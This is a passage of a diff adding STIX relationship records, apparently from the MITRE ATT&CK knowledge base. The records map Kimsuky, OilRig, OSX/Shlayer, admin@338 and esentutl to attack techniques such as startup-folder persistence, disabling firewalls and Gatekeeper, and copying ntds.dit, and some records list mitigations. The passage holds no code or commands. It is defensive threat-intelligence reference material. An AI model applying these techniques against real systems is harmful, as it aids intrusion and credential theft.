"relationship--4cd705fd-5192-4248-9627-4f6cf2d4c459", + "source_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f", + "modified": "2019-10-07T17:53:44.443Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Tarakanov , D.. (2013, September 11). The \u201cKimsuky\u201d Operation: A North Korean APT?. Retrieved August 13, 2019.", + "source_name": "Securelist Kimsuky Sept 2013", + "url": "https://securelist.com/the-kimsuky-operation-a-north-korean-apt/57915/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has placed scripts in the startup folder for persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-08-26T15:27:13.046Z", + "id": "relationship--c5ae9551-e756-4b8b-9b78-515eba60acf5", + "source_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f", + "modified": "2019-08-27T15:32:50.480Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Tarakanov , D.. (2013, September 11). The \u201cKimsuky\u201d Operation: A North Korean APT?. Retrieved August 13, 2019.", + "source_name": "Securelist Kimsuky Sept 2013", + "url": "https://securelist.com/the-kimsuky-operation-a-north-korean-apt/57915/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d54416bd-0803-41ca-870a-ce1af7c05638", + "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has used RC4 encryption before exfil.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-08-26T15:27:13.047Z", + "id": "relationship--78f09c1a-8e37-4b2c-9296-d464be9b46c5", + "source_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f", + "modified": "2019-08-27T15:32:50.470Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Tarakanov , D.. (2013, September 11). The \u201cKimsuky\u201d Operation: A North Korean APT?. Retrieved August 13, 2019.", + "source_name": "Securelist Kimsuky Sept 2013", + "url": "https://securelist.com/the-kimsuky-operation-a-north-korean-apt/57915/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has used Win7Elevate to inject malicious code into explorer.exe.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-08-26T15:27:13.065Z", + "id": "relationship--bd648f03-7313-4e05-bd6e-b499f76a295c", + "source_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f", + "modified": "2019-08-27T15:32:50.477Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Tarakanov , D.. (2013, September 11). The \u201cKimsuky\u201d Operation: A North Korean APT?. Retrieved August 13, 2019.", + "source_name": "Securelist Kimsuky Sept 2013", + "url": "https://securelist.com/the-kimsuky-operation-a-north-korean-apt/57915/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--2e0dd10b-676d-4964-acd0-8a404c92b044", + "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has been observed disabling the system firewall and turning off Windows Security Center.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-08-26T15:27:13.067Z", + "id": "relationship--c84d253b-b26f-48e8-81ca-cc961f0b2360", + "source_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f", + "modified": "2019-08-27T15:32:50.478Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Tarakanov , D.. (2013, September 11). The \u201cKimsuky\u201d Operation: A North Korean APT?. Retrieved August 13, 2019.", + "source_name": "Securelist Kimsuky Sept 2013", + "url": "https://securelist.com/the-kimsuky-operation-a-north-korean-apt/57915/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has gathered information about the infected computer.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-08-26T15:27:13.069Z", + "id": "relationship--96a9cf17-42b0-4317-82e6-55e42a2dab41", + "source_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f", + "modified": "2019-08-27T15:32:50.473Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Tarakanov , D.. (2013, September 11). The \u201cKimsuky\u201d Operation: A North Korean APT?. Retrieved August 13, 2019.", + "source_name": "Securelist Kimsuky Sept 2013", + "url": "https://securelist.com/the-kimsuky-operation-a-north-korean-apt/57915/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790", + "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has created new services for persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-08-26T15:27:13.071Z", + "id": "relationship--c899111b-c3ae-4760-b87f-fce9f21af1f2", + "source_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f", + "modified": "2019-08-27T15:32:50.475Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Tarakanov , D.. (2013, September 11). The \u201cKimsuky\u201d Operation: A North Korean APT?. Retrieved August 13, 2019.", + "source_name": "Securelist Kimsuky Sept 2013", + "url": "https://securelist.com/the-kimsuky-operation-a-north-korean-apt/57915/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", + "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has exfiltrated data over its email C2 channel.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-08-26T15:27:13.073Z", + "id": "relationship--91f79ff4-3850-4e37-807a-fe303b312e23", + "source_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f", + "modified": "2019-10-07T17:53:44.510Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Tarakanov , D.. (2013, September 11). The \u201cKimsuky\u201d Operation: A North Korean APT?. Retrieved August 13, 2019.", + "source_name": "Securelist Kimsuky Sept 2013", + "url": "https://securelist.com/the-kimsuky-operation-a-north-korean-apt/57915/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ba8e391f-14b5-496f-81f2-2d5ecd646c1c", + "description": "[OilRig](https://attack.mitre.org/groups/G0049) has used tools named VALUEVAULT and PICKPOCKET to dump passwords from web browsers.\t", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-08-26T17:00:30.936Z", + "id": "relationship--d705df92-50a0-4810-a893-979f73c6cdc8", + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "modified": "2019-09-04T22:55:41.566Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT34 July 2019", + "description": "Bromiley, M., et al.. (2019, July 18). Hard Pass: Declining APT34\u2019s Invite to Join Their Professional Network. Retrieved August 26, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2019/07/hard-pass-declining-apt34-invite-to-join-their-professional-network.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e", + "description": "[OilRig](https://attack.mitre.org/groups/G0049) has used port 80 to call back to the C2 server.\t", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-08-26T17:00:30.946Z", + "id": "relationship--596a70db-9d67-4d1e-8509-808fbb6168f3", + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "modified": "2019-09-04T22:55:41.561Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT34 July 2019", + "description": "Bromiley, M., et al.. (2019, July 18). Hard Pass: Declining APT34\u2019s Invite to Join Their Professional Network. Retrieved August 26, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2019/07/hard-pass-declining-apt34-invite-to-join-their-professional-network.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d3df754e-997b-4cf9-97d4-70feb3120847", + "description": "[OilRig](https://attack.mitre.org/groups/G0049) has used LinkedIn to send spearphishing links. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-08-26T17:00:30.957Z", + "id": "relationship--b3d6abc5-11da-4d0c-a699-8cafac03dfab", + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "modified": "2019-09-04T22:55:41.557Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT34 July 2019", + "description": "Bromiley, M., et al.. (2019, July 18). Hard Pass: Declining APT34\u2019s Invite to Join Their Professional Network. Retrieved August 26, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2019/07/hard-pass-declining-apt34-invite-to-join-their-professional-network.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--101c3a64-9ba5-46c9-b573-5c501053cbca", + "description": "System settings can prevent applications from running that haven't been downloaded through the Apple Store which may help mitigate some of these issues. Not allowing unsigned applications from being run may also mitigate some risk.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-08-26T19:36:26.209Z", + "id": "relationship--20a31004-72df-4af6-8a1c-9d9da765acc5", + "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", + "modified": "2019-09-17T15:16:01.615Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--20138b9d-1aac-4a26-8654-a36b6bbf2bba", + "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has used an email containing a link to a document that contained malicious macros.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-08-27T13:11:10.528Z", + "id": "relationship--0f7756fb-ea96-4d3a-9a23-a0f0a326de63", + "source_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f", + "modified": "2019-08-27T15:32:50.469Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "EST Kimsuky April 2019", + "description": "Alyac. (2019, April 3). Kimsuky Organization Steals Operation Stealth Power. Retrieved August 13, 2019.", + "url": "https://blog.alyac.co.kr/2234" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[OSX/Shlayer](https://attack.mitre.org/software/S0402) can collect the macOS version and IOPlatformUUID.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-08-29T18:52:20.962Z", + "id": "relationship--9db842bf-d65d-44a8-93ca-aef62cadafc1", + "source_ref": "malware--f1314e75-ada8-49f4-b281-b1fb8b48f2a7", + "modified": "2019-10-14T19:33:55.200Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Carbon Black Shlayer Feb 2019", + "description": "Carbon Black Threat Analysis Unit. (2019, February 12). New macOS Malware Variant of Shlayer (OSX) Discovered. Retrieved August 8, 2019.", + "url": "https://www.carbonblack.com/2019/02/12/tau-threat-intelligence-notification-new-macos-malware-variant-of-shlayer-osx-discovered/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "description": "[OSX/Shlayer](https://attack.mitre.org/software/S0402) can base64-decode and AES-decrypt downloaded payloads.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-08-29T18:52:20.983Z", + "id": "relationship--8a2fbf8a-a05c-44d7-a270-afe092de9db5", + "source_ref": "malware--f1314e75-ada8-49f4-b281-b1fb8b48f2a7", + "modified": "2019-10-14T19:33:55.195Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Carbon Black Shlayer Feb 2019", + "description": "Carbon Black Threat Analysis Unit. (2019, February 12). New macOS Malware Variant of Shlayer (OSX) Discovered. Retrieved August 8, 2019.", + "url": "https://www.carbonblack.com/2019/02/12/tau-threat-intelligence-notification-new-macos-malware-variant-of-shlayer-osx-discovered/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--2e0dd10b-676d-4964-acd0-8a404c92b044", + "description": "[OSX/Shlayer](https://attack.mitre.org/software/S0402) can disable Gatekeeper using the native spctl application.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-08-29T18:52:20.985Z", + "id": "relationship--0713e9ce-9c10-4f1e-b5a4-0ab2a50da2d1", + "source_ref": "malware--f1314e75-ada8-49f4-b281-b1fb8b48f2a7", + "modified": "2019-09-12T15:09:10.628Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Carbon Black Shlayer Feb 2019", + "description": "Carbon Black Threat Analysis Unit. (2019, February 12). New macOS Malware Variant of Shlayer (OSX) Discovered. Retrieved August 8, 2019.", + "url": "https://www.carbonblack.com/2019/02/12/tau-threat-intelligence-notification-new-macos-malware-variant-of-shlayer-osx-discovered/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44", + "description": "[OSX/Shlayer](https://attack.mitre.org/software/S0402) can use bash scripts to check the macOS version and download payloads.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-08-29T18:52:20.987Z", + "id": "relationship--6ea74151-62ea-462e-988e-7704db70ec87", + "source_ref": "malware--f1314e75-ada8-49f4-b281-b1fb8b48f2a7", + "modified": "2019-10-14T19:33:55.272Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Carbon Black Shlayer Feb 2019", + "description": "Carbon Black Threat Analysis Unit. (2019, February 12). New macOS Malware Variant of Shlayer (OSX) Discovered. Retrieved August 8, 2019.", + "url": "https://www.carbonblack.com/2019/02/12/tau-threat-intelligence-notification-new-macos-malware-variant-of-shlayer-osx-discovered/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", + "description": "[OSX/Shlayer](https://attack.mitre.org/software/S0402) can masquerade as a Flash Player update.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-08-29T18:52:21.001Z", + "id": "relationship--8f8d2b41-acb9-4fdf-ad90-c59fd6fad882", + "source_ref": "malware--f1314e75-ada8-49f4-b281-b1fb8b48f2a7", + "modified": "2019-09-12T15:09:10.671Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Carbon Black Shlayer Feb 2019", + "description": "Carbon Black Threat Analysis Unit. (2019, February 12). New macOS Malware Variant of Shlayer (OSX) Discovered. Retrieved August 8, 2019.", + "url": "https://www.carbonblack.com/2019/02/12/tau-threat-intelligence-notification-new-macos-malware-variant-of-shlayer-osx-discovered/" + }, + { + "description": "Long, Joshua. (2018, February 21). OSX/Shlayer: New Mac malware comes out of its shell. Retrieved August 28, 2019.", + "source_name": "Intego Shlayer Feb 2018", + "url": "https://www.intego.com/mac-security-blog/osxshlayer-new-mac-malware-comes-out-of-its-shell/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5", + "description": "[OSX/Shlayer](https://attack.mitre.org/software/S0402) relies on users mounting and executing a malicious DMG file.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-08-29T19:21:38.616Z", + "id": "relationship--557288c3-8463-4900-b2e5-aa9856d428cd", + "source_ref": "malware--f1314e75-ada8-49f4-b281-b1fb8b48f2a7", + "modified": "2019-09-12T15:09:10.626Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Carbon Black Shlayer Feb 2019", + "description": "Carbon Black Threat Analysis Unit. (2019, February 12). New macOS Malware Variant of Shlayer (OSX) Discovered. Retrieved August 8, 2019.", + "url": "https://www.carbonblack.com/2019/02/12/tau-threat-intelligence-notification-new-macos-malware-variant-of-shlayer-osx-discovered/" + }, + { + "description": "Long, Joshua. (2018, February 21). OSX/Shlayer: New Mac malware comes out of its shell. Retrieved August 28, 2019.", + "source_name": "Intego Shlayer Feb 2018", + "url": "https://www.intego.com/mac-security-blog/osxshlayer-new-mac-malware-comes-out-of-its-shell/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--101c3a64-9ba5-46c9-b573-5c501053cbca", + "description": "[OSX/Shlayer](https://attack.mitre.org/software/S0402) can escalate privileges to root by asking the user for credentials.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-08-29T19:21:38.638Z", + "id": "relationship--c9d727db-88ac-4729-bf8a-98d99a83534d", + "source_ref": "malware--f1314e75-ada8-49f4-b281-b1fb8b48f2a7", + "modified": "2019-09-12T15:09:10.709Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Carbon Black Shlayer Feb 2019", + "description": "Carbon Black Threat Analysis Unit. (2019, February 12). New macOS Malware Variant of Shlayer (OSX) Discovered. Retrieved August 8, 2019.", + "url": "https://www.carbonblack.com/2019/02/12/tau-threat-intelligence-notification-new-macos-malware-variant-of-shlayer-osx-discovered/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--27960489-4e7f-461d-a62a-f5c0cb521e4a", + "description": "Update corporate policies to restrict what types of third-party applications may be added to any online service or tool that is linked to the company's information, accounts or network (example: Google, Microsoft, Dropbox, Basecamp, GitHub). However, rather than providing high-level guidance on this, be extremely specific\u2014include a list of pre-approved applications and deny all others not on the list. Administrators may also block end-user consent through administrative portals, such as the Azure Portal, disabling users from authorizing third-party apps through OAuth and forcing administrative consent.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-08-30T12:55:58.775Z", + "id": "relationship--2c7ff110-3d42-4e1c-b53f-449fa6cc6ab9", + "source_ref": "course-of-action--21da4fd4-27ad-4e9c-b93d-0b9b14d02c96", + "modified": "2019-10-22T19:53:16.407Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Baldwin, M., Flores, J., Kess, B.. (2018, June 17). Five steps to securing your identity infrastructure. Retrieved October 4, 2019.", + "source_name": "Microsoft Azure AD Admin Consent", + "url": "https://docs.microsoft.com/en-us/azure/security/fundamentals/steps-secure-identity#block-end-user-consent" + } + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--27960489-4e7f-461d-a62a-f5c0cb521e4a", + "description": "Administrators can set up a variety of logs and leverage audit tools to monitor actions that can be conducted as a result of OAuth 2.0 access. For instance, audit reports enable admins to identify privilege escalation actions such as role creations or policy modifications, which could be actions performed after initial access.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-08-30T12:55:58.799Z", + "id": "relationship--bf430681-3524-4a0a-8961-60f37d4d5bb3", + "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8", + "modified": "2019-10-22T19:53:16.402Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", + "description": "[admin@338](https://attack.mitre.org/groups/G0018) has exploited client software vulnerabilities for execution, such as Microsoft Word CVE-2012-0158.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-08-30T19:53:25.190Z", + "id": "relationship--e4b036ec-b7d4-40a7-9a85-25423a1027c9", + "source_ref": "intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756", + "modified": "2019-09-04T19:48:17.683Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye admin@338", + "description": "FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.", + "url": "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5", + "description": "[admin@338](https://attack.mitre.org/groups/G0018) has attempted to get victims to launch malicious Microsoft Word attachments delivered via spearphishing emails.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-08-30T19:53:25.226Z", + "id": "relationship--e752cfb4-7865-4590-b355-eb1f1b851c5e", + "source_ref": "intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756", + "modified": "2019-09-04T19:48:17.680Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye admin@338", + "description": "FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.", + "url": "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6aac77c4-eaf2-4366-8c13-ce50ab951f38", + "description": "[admin@338](https://attack.mitre.org/groups/G0018) has sent emails with malicious Microsoft Office documents attached.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-08-30T19:53:25.231Z", + "id": "relationship--1a7f1f1e-511a-44bf-8d9e-fd3260febfc8", + "source_ref": "intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756", + "modified": "2019-09-04T19:48:17.678Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye admin@338", + "description": "FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.", + "url": "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[esentutl](https://attack.mitre.org/software/S0404) can be used to copy files from a remote host or download files from a given URL.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-03T18:31:09.713Z", + "id": "relationship--bb4f1b15-8382-44f9-b201-6726e83b79b0", + "source_ref": "tool--c256da91-6dd5-40b2-beeb-ee3b22ab3d27", + "modified": "2019-09-05T17:35:41.454Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "LOLBAS. (n.d.). Esentutl.exe. Retrieved September 3, 2019.", + "source_name": "LOLBAS Esentutl", + "url": "https://lolbas-project.github.io/lolbas/Binaries/Esentutl/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f2d44246-91f1-478a-b6c8-1227e0ca109d", + "description": "[esentutl](https://attack.mitre.org/software/S0404) can be used to read and write alternate data streams.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-03T18:32:49.397Z", + "id": "relationship--5181727e-706d-4e57-8a41-628a27e03c6c", + "source_ref": "tool--c256da91-6dd5-40b2-beeb-ee3b22ab3d27", + "modified": "2019-09-05T17:35:41.480Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "LOLBAS. (n.d.). Esentutl.exe. Retrieved September 3, 2019.", + "source_name": "LOLBAS Esentutl", + "url": "https://lolbas-project.github.io/lolbas/Binaries/Esentutl/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "description": "[esentutl](https://attack.mitre.org/software/S0404) can use Volume Shadow Copy to copy locked files such as ntds.dit.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-03T18:32:49.412Z", + "id": "relationship--4faa4943-e54e-420d-a391-350ef629e766", + "source_ref": "tool--c256da91-6dd5-40b2-beeb-ee3b22ab3d27", + "modified": "2019-09-05T17:35:41.500Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "LOLBAS. (n.d.). Esentutl.exe. Retrieved September 3, 2019.", + "source_name": "LOLBAS Esentutl", + "url": "https://lolbas-project.github.io/lolbas/Binaries/Esentutl/" + }, + { + "description": "Cary, M.. (2018, December 6). Locked File Access Using ESENTUTL.exe. Retrieved September 5, 2019.", + "source_name": "Cary Esentutl", + "url": "https://dfironthemountain.wordpress.com/2018/12/06/locked-file-access-using-esentutl-exe/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--c256da91-6dd5-40b2-beeb-ee3b22ab3d27", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-03T18:50:16.769Z", + "id": "relationship--d608c524-ad0a-4595-8fe2-4a0ec0dbf501", + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "modified": "2019-10-14T18:54:39.093Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT10 September 2018", + "description": "Matsuda, A., Muhammad, I.. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved April 22, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--dc27c2ec-c5f9-4228-ba57-d67b590bda93", + "description": "[OSX/Shlayer](https://attack.mitre.org/software/S0402) executes a .command script from a hidden directory in a mounted DMG.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-09T17:10:57.715Z", + "id": "relationship--3b967933-da99-40a4-9bd5-e8238e8d46c3", + "source_ref": "malware--f1314e75-ada8-49f4-b281-b1fb8b48f2a7", + "modified": "2019-09-12T15:09:10.708Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Carbon Black Shlayer Feb 2019", + "description": "Carbon Black Threat Analysis Unit. (2019, February 12). New macOS Malware Variant of Shlayer (OSX) Discovered. Retrieved August 8, 2019.", + "url": "https://www.carbonblack.com/2019/02/12/tau-threat-intelligence-notification-new-macos-malware-variant-of-shlayer-osx-discovered/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--08d20cd2-f084-45ee-8558-fa6ef5a18519", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-09T17:44:35.452Z", + "id": "relationship--c84b3859-ba18-45bd-8f56-baa045ce8eab", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "modified": "2019-09-09T17:44:35.452Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET Sednit Part 3", + "description": "ESET. (2016, October). En Route with 